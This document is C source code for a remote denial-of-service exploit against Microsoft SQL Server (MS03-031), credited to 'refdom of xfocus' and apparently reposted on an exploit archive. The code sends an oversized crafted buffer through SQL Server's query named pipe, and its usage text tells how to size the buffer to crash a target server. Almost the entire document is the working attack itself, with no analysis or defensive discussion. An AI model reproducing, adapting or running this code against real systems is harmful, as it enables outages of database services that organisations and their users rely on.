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MS Windows SQL Server Denial of Service Remote Exploit (MS03-031)
================================================================= MS Windows SQL Server Denial of Service Remote Exploit (MS03-031) ================================================================= //////////////////////////////////////////////////////////////// // // Microsoft SQL Server DoS Remote Exploit (MS03-031) // By refdom of xfocus // //////////////////////////////////////////////////////////////// #include <stdio.h> #include <stdlib.h> #include <windows.h> void Usage() { printf("******************************************\n"); printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: refdom xfocus org\n"); printf("\t Homepage: www.xfocus.org\n\n"); printf("Usage: DOSMSSQL.exe server buffersize\n"); printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n"); printf("The buffersize depends on service pack level.\n"); printf("I test it on my server: windows 2000, mssqlserver no sp.\n"); printf("when buffersize is 9000, the server can be crashed.\n"); printf("\n"); printf("*******************************************\n\n"); } int main(int argc, char* argv[]) { char lpPipeName[50]; char *lpBuffer = NULL; unsigned long ulSize = 0; BOOL bResult; DWORD dwWritten = 0, dwMode; HANDLE hPipe; Usage(); printf("Starting...\n"); if (argc != 3) goto Exit0; if (strlen(argv[1]) < 20) { sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]); } else { printf("Error!server\n"); goto Exit0; } ulSize= atol(argv[2]); lpBuffer = (char*)malloc(ulSize + 2); if (NULL == lpBuffer) { printf("malloc error!\n"); goto Exit0; } memset(lpBuffer, 0, ulSize + 2); memset(lpBuffer, 'A', ulSize); *lpBuffer = '\x12'; *(lpBuffer + 1) = '\x01'; *(lpBuffer + 2) = '\x00'; printf("Connecting Server...\n"); hPipe = CreateFile(lpPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (INVALID_HANDLE_VALUE == hPipe) { printf("Error!Connect server!%d\n", GetLastError()); goto Exit0; } dwMode = PIPE_READMODE_MESSAGE; bResult = SetNamedPipeHandleState( hPipe, // pipe handle &dwMode, // new pipe mode NULL, // don't set maximum bytes NULL); // don't set maximum time if (!bResult) { printf("Error!SetNamedPipeHandleState.%d\n", GetLastError()); goto Exit0; } bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL); if (!bResult) { printf("\n\tError!WriteFile.%d\n\n", GetLastError()); printf("When see the error message, the target may be crashed!!\n\n"); goto Exit0; } Exit0: return 0; } # 0day.today [2024-12-25] #